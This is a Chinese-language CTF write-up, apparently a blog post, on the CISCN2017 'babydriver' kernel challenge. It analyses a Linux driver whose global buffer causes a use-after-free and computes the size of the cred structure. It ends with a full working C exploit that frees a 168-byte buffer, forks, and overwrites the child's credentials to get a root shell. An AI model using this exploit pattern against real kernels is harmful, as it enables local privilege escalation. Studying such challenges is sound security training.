kernel-pwn学习(2)--kernel uaf&&CISCN2017 - babydriver

CISCN2017 - babydriver

题目附件

查看附件

这个里面的附件其实比较丰富,但比赛当时的题目就是tar文件里面的,这里面有一些是exp,有一些是ida文件,我们删掉
在这里插入图片描述

rm babydriver.i64 babydriver.ko tty_struct tty_struct.c cred cred.c
tar -xvf babydriver.tar
rm babydriver.tar

这是当前的内容
在这里插入图片描述
boot.sh是用来启动qemu用的,这里我们先加一个-s参数,方便调试
在这里插入图片描述

#!/bin/bash
qemu-system-x86_64 -s -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic  -smp cores=1,threads=1 -cpu kvm64,+smep

修改完成之后执行一下boot.sh
可以看到进入了qemu
在这里插入图片描述
这里因为不需要寻找gadget所以不需要提取vmlinux
bzImage kernel的二进制文件,一般没有什么好分析的
主要需要分析的就是rootfs.cpio: 文件系统映像

分析rootfs.cpio

提取文件系统

mkdir core
mv rootfs.cpio core/
un-cpio core/rootfs.cpio
cd core

在这里插入图片描述
一般需要分析的就是init

init分析

在这里插入图片描述
这里面可以看到最上面一部分就类似于用户态pwn题的初始化
中间的是添加驱动module,也就是一般存在漏洞的点
可以看到这里面有一个驱动,同时/dev/babydev就是访问我们的驱动
我们可以首先用ida分析一下驱动

驱动分析

在这里插入图片描述
这里面最后两个就是驱动的初始化和退出时自动调用的函数
然后上面5个函数其实就注册了fop的回调函数
当我们open对应设备的时候就会调用babyopen

open设备

没什么好说的,就是malloc一下,但要注意这里使用一个全局变量来保存信息,也就是当我打开多次以后其实他们指向的就是一个结构体
在这里插入图片描述
在这里插入图片描述
那么这个就可能产生uaf的问题

write设备

没什么好说的,如果我们的buff长度在struct结构体保存的len以内,就可以从用户态读取内容
在这里插入图片描述
但这里好像ida没有识别出来这个函数的参数,我们来调试分析一下吧
这里首先我们要编写exp去调用write函数

int main(){
	int fd=open("/dev/babydev",2);
	char a[8]="a";
	write(fd,a,2);
	close(fd);
}

然后静态编译他

gcc test.c -static

这里我们需要知道模块具体的加载地址,所以需要我们把init里面的登录权限改成root
在这里插入图片描述

需要重新生成一下cpio

gen-cpio rootfs.cpio

在这里插入图片描述
启动qemu,查看加载位置
在这里插入图片描述
那么我们通过gdb开始调试
在这里插入图片描述
添加驱动的符号信息
在这里插入图片描述

这里我们就断在babywrite
在这里插入图片描述

这个时候我们在qemu里面执行exp
在这里插入图片描述
可以看到断住了
在这里插入图片描述
下面是调用copy_from_user的寄存器
在这里插入图片描述

rdx为2,也就是我们要的长度,rsi也就是我们用户态的数据
下图是bss上保存的结构体,可以看到rdi刚好就是buf的地址,所以这里write函数就是往buff里面写内容
在这里插入图片描述

ioctl设备

这个可能之前我们见的不是很多,但这个一般就是往设备发定义的指令,比如说我们这里
在这里插入图片描述
如果指令是65537,他就会重新kmalloc同时修改size,可以看到size就是我们可控的参数
在这里插入图片描述
那么这里就产生了问题,如果我们malloc个跟cred同样size的区域,然后free掉,这个时候再fork一下,新线程的内核cred结构体就会到我们这个区域,如果这个时候有个uaf,那么就可以直接修改这个线程的状态达到提权

close设备

在这里插入图片描述
这里就是一般的free,同时注意close设备其实并不会把fd清空,也不会修改FILE strcuture,他会从/proc/self/fd里面溢出对应的文件描述符,所以你还是写不了

cred结构体

对于 Linux 下的每一个进程,在 kernel 中都有着一个结构体 cred 用以标识其权限,该结构体定义于内核源码,有一点要注意,每个linux内核版本对应的cred大小都不一样,我们可以去网上查找相应版本

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
#ifdef CONFIG_KEYS
	unsigned char	jit_keyring;	/* default keyring to attach requested
					 * keys to */
	struct key __rcu *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
	void		*security;	/* subjective LSM security */
#endif
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};

这里面注意可以看到有uid位,如果把对应进程的uid改成了0,那么也就达到了提权的效果
这个内核版本是4.4.72
在这里插入图片描述
cred.h
那么如何计算cred大小呢
在这里插入图片描述
可以看到里面有ifdef,这里面一般带有debug字眼的ifdef都去除,只保留不带ifdef
下面就是我们输出cred大小的代码,

typedef struct {
	int counter;
} atomic_t;
typedef struct {
	unsigned int val;
} kuid_t;
typedef struct {
	unsigned int val;
} kgid_t;
struct rcu_head {
	struct rcu_head *next;
	void (*func)(struct rcu *head);
} __attribute__((aligned(sizeof(void *))));
typedef struct kernel_cap_struct {
	unsigned int  cap[2];
} kernel_cap_t;
struct cred {
	atomic_t	usage;
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
	unsigned	securebits;	/* SUID-less security management */
	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
	kernel_cap_t	cap_permitted;	/* caps we're permitted */
	kernel_cap_t	cap_effective;	/* caps we can actually use */
	kernel_cap_t	cap_bset;	/* capability bounding set */
	kernel_cap_t	cap_ambient;	/* Ambient capability set */
	unsigned char	jit_keyring;	/* default keyring to attach requested*/
	struct key  *session_keyring; /* keyring inherited over fork */
	struct key	*process_keyring; /* keyring private to this process */
	struct key	*thread_keyring; /* keyring private to this thread */
	struct key	*request_key_auth; /* assumed request_key authority */
	void		*security;	/* subjective LSM security */
	struct user_struct *user;	/* real user ID subscription */
	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
	struct rcu_head	rcu;		/* RCU deletion hook */
};
int main(){
	printf("%d",sizeof(struct cred));
}

这里面一般就要修改中间cred具体的定义,可以看到大小是168
在这里插入图片描述
所以我们只需要把我们的buff伪造成168就可以
这里后面就是要修改进程的uid
其实这里面如果我们直接修改uid,当前的线程确实是root权限,但一当

攻击

#include <fcntl.h>
#include<sys/ioctl.h>
#include<stdlib.h>
#include<stdio.h>
#include <sys/wait.h>
#include <unistd.h>
int main(){
	int fd1=open("/dev/babydev",2);
	int fd2=open("/dev/babydev",2);
	
	ioctl(fd1,65537,168);//修改buf的大小
	close(fd1);//释放掉buf
	int pid=fork();
	if(pid<0){
		puts("fork error");
		exit(0);
	}
	else if (pid==0){
		int  a[6]={0,0,1002,1003,1004,0};
		write(fd2,a,24);//修改cred结果,只需要把uid和euid变成0就好
		puts("[+]root now ");
		system("/bin/sh");	
	}
	else{
	wait(NULL);
	}
	close(fd2);
}

 gcc exp.c -static -o exp

同时修改init,因为调试的时候用的是root权限
在这里插入图片描述
在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值